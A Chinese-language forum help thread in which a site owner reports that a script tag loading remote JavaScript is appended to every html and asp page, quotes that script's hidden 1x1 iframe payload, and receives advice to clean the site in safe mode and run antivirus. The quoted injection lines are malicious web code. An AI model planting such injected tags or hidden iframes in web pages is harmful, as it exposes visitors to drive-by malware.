感染后，所有的html，asp等网页文件的末尾都加上一句：
<script language=javascript src=http://cc.18dd.net/1.js></script>
删除后  又会有。我把1.js 下载下来以后，里面的内容为：document.writeln("<iframe src=http:\/\/pr.749571.com\/dm\/dy.htm width=1 height=1><\/iframe>");
document.writeln("<iframe src=http:\/\/pr.749571.com\/dm\/rl.htm width=1 height=1><\/iframe>");
document.write ('<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>');
document.writeln("<script language=\"javascript\" src=\"http:\/\/ww2.tongji123.com\/g1.aspx?id=25552147\"><\/script>")
现在上网站，总是提示有恶意广告代码，或者说有病毒，就是因为这个，寻求解决办法！！！

[用户系统信息]Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

http://cc.18dd.net/1.js
这东西应该为脚本木马
你打开网页时就运行了这个JS木马
这个马估计会引导你的计算机下载指定的程序并执行
擒贼先擒王  到安全模式下 修改你网站代码
（安全模式下绝大部分病毒都不能自动运行）
然后用最新的杀软  全面杀毒